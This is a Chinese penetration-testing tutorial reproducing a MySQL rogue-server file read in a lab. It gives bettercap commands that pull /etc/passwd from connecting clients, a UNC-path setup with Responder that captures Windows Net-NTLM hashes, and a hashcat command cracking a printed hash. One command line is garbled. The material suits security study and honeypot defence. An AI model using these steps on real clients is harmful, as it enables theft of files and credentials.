【渗透技巧】mysql任意文件读取复现
0x00 原理
mysql的load data local infile函数用于读取客户端的文件并保存在表中,如果攻击者搭建一个伪造的mysql服务器,当有客户端连接这个伪造的mysql服务器时,利用load data local infile函数,攻击者就可以读取客户端主机上的文件。
0x01 实现过程
例如,使用kali(192.168.80.130)连接mysql服务器(192.168.80.140)
mysql -uroot -proot -h192.168.80.140
使用load data local infile函数读取kali的/etc/passwd,并存入mysql.host表中
load data local infile "/etc/passwd" into table mysql.host FIELDS TERMINATED BY '\n';
查看mysql.host表,发现读取成功
0x02 linux系统的利用
如果连接伪造MySQL服务器的客户端在linux上运行,我们可以通过以下方法读取linux系统上的文件。
bettercap启动一个伪造的mysql服务器
rooteval "set mysql.server.infile /etc/passwd; mysql.server on" :~# bettercap -
当有客户端连接时,能读取到客户端主机上的/etc/passwd文件
mysql -uroot -h192.168.80.130 -p
0x03 windows系统的利用
INFILE支持使用UNC路径的方式,如果连接伪造MySQL服务器的客户端在Windows上运行,我们可以通过以下方法得到windows的Net-NTLM hash。
使用bettercap启动一个伪造的mysql服务器
root@kali:~# bettercap
set mysql.server.infile \\192.168.80.130\test
mysql.server on
使用responder开启中间人监听
root@kali:~# git clone https://github.com/lgandx/Responder.git
root@kali:~# cd Responder/
root@kali:~/Responder# ./Responder.py -I eth0 -rv
当有客户端使用mysql.exe命令或者使用Navicat连接时,都能获取到他的Net-NTLM hash(不过由于国内运营商封禁了445端口,该利用方式在公网上影响有限)
mysql -uroot -h192.168.80.130 -p
最后可以使用hashcat来破解哈希值,-m 指定hash的类型,5600为NetNTLMv2
root@kali:~# hashcat -m 5600 Administrator::WIN-A3QJ128S93I:c780067f2a0ae7bf:B85AE87F3BBF17DD5960DFAD6075A19B:0101000000000000C0653150DE09D201AB26C0BE9B8FEEB9000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D20106000400020000000800300030000000000000000000000000300000D7006384B53B06B857318D8C05A5C2A66BFC9AFDCD36062540942A9B227E7AE60A001000000000000000000000000000000000000900260063006900660073002F003100390032002E003100360038002E00380030002E00310033003000000000000000000000000000 /root/top100.txt -o rst.txt --force
0x04 影响
一些云服务器控制台的数据迁移功能可能会存在这个漏洞
或者用在蜜罐上读取攻击者的信息
0x05 参考
https://www.colabug.com/2019/0408/5936906/
https://www.anquanke.com/post/id/106488